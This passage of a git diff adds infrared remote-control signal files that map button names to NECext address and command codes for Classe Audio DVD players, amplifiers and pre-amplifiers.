+command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir new file mode 100644 index 000000000..516f658c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 11 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 38 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 39 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 86 00 00 00 +# +name: F4 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 87 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir new file mode 100644 index 000000000..a3c236195 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir new file mode 100644 index 000000000..b5d65c1d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: STILL_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: STILL_REVERSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: PROG. +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SURROUND_SOUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: AUTO_RESOLUTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 89 00 00 00 +# +name: 480I/576I +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8A 00 00 00 +# +name: 480P/576P +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8B 00 00 00 +# +name: 720P +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: 1080I +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8D 00 00 00 +# +name: 1080P +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: ON_(OPERATE) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 97 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C9 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E3 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F4 00 00 00 +# +name: STEP_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F6 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir new file mode 100644 index 000000000..e21aac456 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir new file mode 100644 index 000000000..08a288293 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: SEPA_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: SEPA_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: POWER_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: POWER_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: BAL_R_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_R_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_L_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BAL_L_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: LINE5_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: LINE5_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: REG4_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: REG4_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: LINE4_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: LINE4_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: REG3_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: REG3_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: LINE3_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: LINE3_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: REG2_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: REG2_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: LINE2_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: LINE2_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: REG1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REG1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: LINE1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: LINE1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: TAPE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: TAPE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: BAL1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: BAL1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..a1c50f0bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_MON_TG_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: TAPE_MON_TG_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: LINE1_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: LINE1_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: LINE2_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: LINE2_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: LINE3_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: LINE3_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: BALANCED_1_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: BALANCED_1_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: INPUT_UP_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_UP_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_DOWN_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_DOWN_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: STDBY_TOGGLE_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: STDBY_TOGGLE_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: INFO_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: INFO_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: PHONO_GAINE_TG_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: PHONO_GAINE_TG_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: BALANCE_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: BALANCE_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 54 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 54 00 00 00 +# +name: HOME_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: HOME_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_UP_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 +# +name: NAVIGATE_UP_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 +# +name: NAVIGATE_DOWN_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 59 00 00 00 +# +name: NAVIGATE_DOWN_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 59 00 00 00 +# +name: NAVIGATE_LEFT_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5A 00 00 00 +# +name: NAVIGATE_LEFT_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5A 00 00 00 +# +name: NAVIGATE_RIGHT_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5B 00 00 00 +# +name: NAVIGATE_RIGHT_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5B 00 00 00 +# +name: ENTER_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: OPERATE_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 96 00 00 00 +# +name: OPERATE_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 96 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 97 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 97 00 00 00 +# +name: TAPE_MON_ON_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 9A 00 00 00 +# +name: TAPE_MON_ON_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 9A 00 00 00 +# +name: TAPE_MON_OFF_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 9B 00 00 00 +# +name: TAPE_MON_OFF_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 9B 00 00 00 +# +name: OUTPUT1_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F0 00 00 00 +# +name: OUTPUT2_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F1 00 00 00 +# +name: OUTPUT3_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F2 00 00 00 +# +name: OUTPUT1_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F4 00 00 00 +# +name: OUTPUT1_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F5 00 00 00 +# +name: OUTPUT2_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F8 00 00 00 +# +name: OUTPUT3_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: F9 00 00 00 +# +name: OUTPUT3_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir new file mode 100644 index 000000000..9b7142929 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_UP_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_UP_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_DOWN_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 11 00 00 00 +# +name: F1_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 38 00 00 00 +# +name: F1_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 38 00 00 00 +# +name: F2_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 39 00 00 00 +# +name: F2_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 39 00 00 00 +# +name: F3_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 86 00 00 00 +# +name: F3_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 86 00 00 00 +# +name: F4_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 87 00 00 00 +# +name: F4_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 87 00 00 00 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 98 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 98 00 00 00 +# +name: UNMUTE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 99 00 00 00 +# +name: UNMUTE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 99 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir new file mode 100644 index 000000000..17009b58f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: AUD1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: AUD2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: AUD3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: MODE_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 22 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 25 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 25 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 26 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 26 00 00 00 +# +name: AV1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 30 00 00 00 +# +name: AV2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 31 00 00 00 +# +name: AV3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: AV4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 33 00 00 00 +# +name: MODE_< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 38 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 39 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3C 00 00 00 +# +name: COMPR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir new file mode 100644 index 000000000..2f39ffcbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: A_MUTE_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: A_MUTE_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: A_DISPLAY_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: A_DISPLAY_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: A_DISP_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: A_DISP_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: A_VOL+_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: A_VOL+_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: A_VOL-_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: A_VOL-_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: A_STANDBY_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: A_STANDBY_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: A_STDBY_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: A_STDBY_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: A_ENTER_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: A_ENTER_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: A_MENU_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: A_MENU_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: A_UP_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: A_UP_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: A_BAL_R_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: A_BAL_R_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: A_RIGHT_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: A_RIGHT_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: A_BAL_L_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: A_BAL_L_T1 +type: parsed +protocol: NECext +address: 03 